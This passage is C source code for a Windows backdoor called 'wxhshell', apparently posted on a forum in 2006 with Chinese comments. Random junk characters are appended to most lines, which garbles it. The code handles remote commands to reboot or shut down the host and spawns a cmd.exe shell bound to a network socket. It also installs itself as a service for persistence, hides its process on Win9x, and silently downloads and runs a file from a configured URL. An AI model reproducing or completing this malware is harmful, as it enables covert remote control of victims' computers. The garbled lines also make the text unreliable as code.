ZIM 5$JdCv  
    switch(cmd[0]) { =ZN~*HLl}  
  ]+i~Cbj  
  // 帮助 i^DZK&B@u  
  case '?': { {KalVZX2R  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); SgPvQ'\  
    break; EXYr_$gRs  
  } W%cJ#R[o  
  // 安装 g"L$}#iTsl  
  case 'i': { HWT^u$a"  
    if(Install()) XqTDLM&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |0/~7l  
    else ~!W{C_*N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _8"%nV  
    break; AIFI@#3  
    } 6'qC *r   
  // 卸载 m%km@G$  
  case 'r': { TwXqk>J  
    if(Uninstall()) YV>]c9!q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V3$Yr"rZ;  
    else IPT\d^|f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .`K<Iug1  
    break; |Ptv)D  
    } o Kfm=TbY  
  // 显示 wxhshell 所在路径 [Dq!t1  
  case 'p': { Qtpw0t"  
    char svExeFile[MAX_PATH]; J-g<-!>RM  
    strcpy(svExeFile,"\n\r"); myeez+@ m  
      strcat(svExeFile,ExeFile); Th)Z?\8zk  
        send(wsh,svExeFile,strlen(svExeFile),0); /<$\)|r  
    break; &*N;yW""f  
    } aM|^t:  
  // 重启 s!j[Ovtx  
  case 'b': { _]whHS+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); qKg*/)sD(  
    if(Boot(REBOOT)) 7U\GX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G>);8T%l  
    else { nuip  
    closesocket(wsh); L^0s  
    ExitThread(0); X) peY  
    } '{?7\+o.x  
    break; B#T4m]E/  
    } GF-\WD  
  // 关机 P[E5e+ A)  
  case 'd': { aqk0+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ub/9T-#l  
    if(Boot(SHUTDOWN)) = j,Hxq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y[ciT)  
    else { D-tm'APq  
    closesocket(wsh); r#%z1u  
    ExitThread(0); ;L458fYs  
    } T!*lTzNHm  
    break; 6RLYpQ$+  
    } ?(4E le  
  // 获取shell /RzL,~]  
  case 's': { xQ=sZv^M  
    CmdShell(wsh); |99/?T-QW  
    closesocket(wsh); eZMDtB  
    ExitThread(0); jLRh/pbz4  
    break; [Grd?mc#  
  } %|:Gn)8  
  // 退出 OJGEX}3'  
  case 'x': { `"/s,"c:D  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); TUQ+?[  
    CloseIt(wsh); #Jo#[-r  
    break; NM;0@ o  
    } ;ctJ9"_g  
  // 离开 1webk;IM  
  case 'q': { <n)J~B^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); + S^OzCGk  
    closesocket(wsh); (HW!!xM  
    WSACleanup(); J7`fve  
    exit(1); }j/($,  
    break; q`l%NE  
        } dp3>G2Yq  
  } ?W*{% my  
  } +$-@8,F>  
o& GS;{Rs  
  // 提示信息 G' 5p/:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /7 CF f&4  
} d@a FW  
  } O"$uw  
q*|H*sS  
  return; Sd !!1a s  
} #JFTD[1  
3$u 3ssOL  
// shell模块句柄 `*J;4Ju@  
int CmdShell(SOCKET sock) \<}4D\qz  
{ v\3:R,|'  
STARTUPINFO si; wE.CZ% f  
ZeroMemory(&si,sizeof(si)); _R,VNk  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Pd<s#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,dTRM  
PROCESS_INFORMATION ProcessInfo; 3 ?1qI'5  
char cmdline[]="cmd"; (}W+W\.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =z5'A|Wa=,  
  return 0; b1(7<o  
} 3 %ppvvQ  
F3XB};  
// 自身启动模式 LyaFWx   
int StartFromService(void) aL9 yNj}2  
{ 4$);x/ a  
typedef struct 7hs1S|  
{ J|9kWjOf+i  
  DWORD ExitStatus; Uq:WW1=kh  
  DWORD PebBaseAddress; -bN;nSgb  
  DWORD AffinityMask; OT*C7=  
  DWORD BasePriority; q`HuVilNH  
  ULONG UniqueProcessId; _.9):i2<SF  
  ULONG InheritedFromUniqueProcessId; x}Y  
}   PROCESS_BASIC_INFORMATION; -VqZw&"  
tai=2,'  
PROCNTQSIP NtQueryInformationProcess; TN xl?5:  
~6HpI0i  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; jT~PwDSFt3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6zmt^U   
%V,2,NCd  
  HANDLE             hProcess; MM}lW-q;  
  PROCESS_BASIC_INFORMATION pbi; *&f^R}O  
t<)Cbple\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); L\cd=&b`  
  if(NULL == hInst ) return 0; T<hS  
s$cr|p;7#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'MM%Sm,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 81gcM?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); O_zW/#  
q#{.8H-X'  
  if (!NtQueryInformationProcess) return 0; vD=>AAvG  
mv5=>Xc6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +VJS/  
  if(!hProcess) return 0; laR cEXj  
#Tz$ona  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; a.n;ika]-  
BGtr=&Hq  
  CloseHandle(hProcess); B6N/nCvHK  
p#5U[@TK  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); O_9M /[<  
if(hProcess==NULL) return 0; 9g7d:zG  
f<14-R=  
HMODULE hMod; y&ZyThqg  
char procName[255]; (=2-*((&(A  
unsigned long cbNeeded; E,~|-\b}h  
`-R-O@X|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?IKSSe#,  
r{cefKJHg  
  CloseHandle(hProcess); p<eu0B_V  
`!`g&:Y  
if(strstr(procName,"services")) return 1; // 以服务启动 }V:B,:  
''bh{ .x  
  return 0; // 注册表启动 DFgQ1:6[  
} ?Uq;>  
-YDA,.Ic?  
// 主模块 0}'xoYv f  
int StartWxhshell(LPSTR lpCmdLine) XniPNU  
{ JPH! .@  
  SOCKET wsl; <r9L-4  
BOOL val=TRUE; '|I8byiK  
  int port=0; xRX2u_f$<  
  struct sockaddr_in door; Qm-I=Rh+  
jW,b"[  
  if(wscfg.ws_autoins) Install(); 9HsiAi*  
3V(]*\L  
port=atoi(lpCmdLine); ~.Wlv;  
jmp0 %:+L  
if(port<=0) port=wscfg.ws_port; j*.K|77WHj  
O'm5k l  
  WSADATA data; &z;bX-"E  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; TANv)&,|9  
i;flK*HOZ9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   fH@P&SX  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ty"|yA  
  door.sin_family = AF_INET; WE{fu{x  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); XIGz_g;#'w  
  door.sin_port = htons(port); &RJ*DAmL  
Fb!Ew`;QT  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { i,H(6NL.  
closesocket(wsl); R@X65o  
return 1; V< Ib#rd'  
} *:5S*E&}V  
':>u*  
  if(listen(wsl,2) == INVALID_SOCKET) { t3qPocYQ  
closesocket(wsl); Silh[8  
return 1; lZ'WFFWLE  
} |p .o^  
  Wxhshell(wsl); [!~= m  
  WSACleanup(); rD\)ndPv  
fT2F$U  
return 0; \,AE5hnO  
3 T1,:r  
} V0l"tr@  
-;:.+1   
// 以NT服务方式启动 ,qT^e8E+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5K:'VX  
{ e9=UTn{!  
DWORD   status = 0; vg-Ah6BC{  
  DWORD   specificError = 0xfffffff; #n7F7X  
zA>LrtyK(=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 2zV{I*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =*5< w  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /E39Z*  
  serviceStatus.dwWin32ExitCode     = 0; y}F;~H~P  
  serviceStatus.dwServiceSpecificExitCode = 0; th1;Ym+Ze  
  serviceStatus.dwCheckPoint       = 0; z/I\hC9i  
  serviceStatus.dwWaitHint       = 0; ,M.phRJ-`  
}Q?a6(4  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); K1+4W=|  
  if (hServiceStatusHandle==0) return; )ZW[$:wA  
\ xJ_ )r  
status = GetLastError(); j* ZU}Ss  
  if (status!=NO_ERROR) yPd6{% w  
{ 8FIk|p|l^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8345 H  
    serviceStatus.dwCheckPoint       = 0; T4nWK!}z  
    serviceStatus.dwWaitHint       = 0; 9+iz+  
    serviceStatus.dwWin32ExitCode     = status; .6=;{h4cpB  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0clq}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &7 K=  
    return; Vb8Qh601  
  } q'Nafa&a)  
E !9(6G4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )H>?K0I  
  serviceStatus.dwCheckPoint       = 0; Kqz+:E8D  
  serviceStatus.dwWaitHint       = 0; @<jm+f"MP  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); i'QR-B&Z  
} rJT YCe1*  
Eq?U$eE  
// 处理NT服务事件,比如:启动、停止 I/*^s  
VOID WINAPI NTServiceHandler(DWORD fdwControl) SHYbQF2  
{ LVNA`|>  
switch(fdwControl) <t&Qa~mA  
{ 1I awi?73  
case SERVICE_CONTROL_STOP: cy(4g-b]@e  
  serviceStatus.dwWin32ExitCode = 0; <])]1r8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; |vw],r6  
  serviceStatus.dwCheckPoint   = 0; =.qX u+  
  serviceStatus.dwWaitHint     = 0; -@tj0OHg  
  { Sy/Z}H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _o T+x%i  
  } =fy\W=c  
  return; `6P2+wf1j~  
case SERVICE_CONTROL_PAUSE: Yr*!T= z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; S"t\LB*'Ls  
  break; ~dC.,"  
case SERVICE_CONTROL_CONTINUE: z1^3~U$}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ([dwZ6$/J  
  break; >V>`}TIH  
case SERVICE_CONTROL_INTERROGATE: AQ?;UDqU  
  break; nMJ( tQ  
}; 9X&=?+f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kWacc&*|  
} bzr QQQ  
Hr7?#ZX;e  
// 标准应用程序主函数 -<ome~|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) RrT`]1".  
{ D4N(FZ0~  
73_=CP" t  
// 获取操作系统版本 .EReYZO  
OsIsNt=GetOsVer(); GkIhPn(d  
GetModuleFileName(NULL,ExeFile,MAX_PATH); cMrO@=b;  
)}7X4g6X   
  // 从命令行安装 A>8~deZ9  
  if(strpbrk(lpCmdLine,"iI")) Install(); H#u N&^+H  
lCgzQZ  
  // 下载执行文件 yk'L_M(=  
if(wscfg.ws_downexe) { N4z[=b>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (< >Lfn  
  WinExec(wscfg.ws_filenam,SW_HIDE); jz~#K;3=,  
} Zd'Yu{<_2N  
/:^nG+  
if(!OsIsNt) { O+|ipw*B%  
// 如果时win9x,隐藏进程并且设置为注册表启动 V!(7=ku!`  
HideProc(); 73B[|J*  
StartWxhshell(lpCmdLine); }d>Xh8:%)  
} A.mFa1lH  
else @u`W(Ow  
  if(StartFromService()) OFBEJacy  
  // 以服务方式启动 }.pqV X{ d  
  StartServiceCtrlDispatcher(DispatchTable); PhPe7^  
else cs7^#/3<  
  // 普通方式启动 2$MoKO x8$  
  StartWxhshell(lpCmdLine); bIlNA)g  
&uF~t |!c  
return 0; 1KY0hAx  
}
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只看该作者 1 发表于: 2006-10-10
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